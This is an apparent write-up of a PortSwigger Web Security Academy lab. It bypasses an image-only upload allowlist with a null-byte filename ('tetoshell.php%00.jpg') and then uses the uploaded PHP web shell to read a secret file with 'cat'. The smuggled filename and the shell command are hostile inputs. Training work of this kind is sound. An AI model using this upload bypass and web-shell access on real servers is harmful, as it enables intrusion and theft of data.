| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | File Upload Vulnerabilities |
| Difficulty | Practitioner |
| Objective | Bypass extension validation using a null byte injection in the filename to upload a PHP web shell and read /home/carlos/secret |
Web Shell Upload via Obfuscated File Extension¶
Uploading tetoshell.php was rejected:
Sorry, only JPG & PNG files are allowed
The server validates the extension against an allowlist — previous techniques don't apply. The challenge is satisfying the .jpg or .png check while still having the file stored and executed as PHP.
The null byte (\x00, %00 URL-encoded) is the string terminator in C, and languages that call into C libraries for string operations inherit the same behavior. If validation runs in a higher-level language and reads tetoshell.php%00.jpg as a filename ending in .jpg — allowlist passes — but the underlying filesystem call terminates at the null byte and stores the file as tetoshell.php, the validator and the filesystem see different strings. Modern PHP strips null bytes from filenames automatically (since 5.3.4), but legacy apps, some Java frameworks, and custom C/C++ file-handling code can still be vulnerable.
I intercepted the upload and modified the filename:
Content-Disposition: form-data; name="avatar"; filename="tetoshell.php%00.jpg"
The file avatars/tetoshell.php has been uploaded.
The server's own response confirmed what got stored — tetoshell.php, not .jpg. The .jpg suffix was dropped at the null byte, confirming the injection worked before even attempting execution.
/files/avatars/tetoshell.php?cmd=cat /home/carlos/secret
Lab solved :P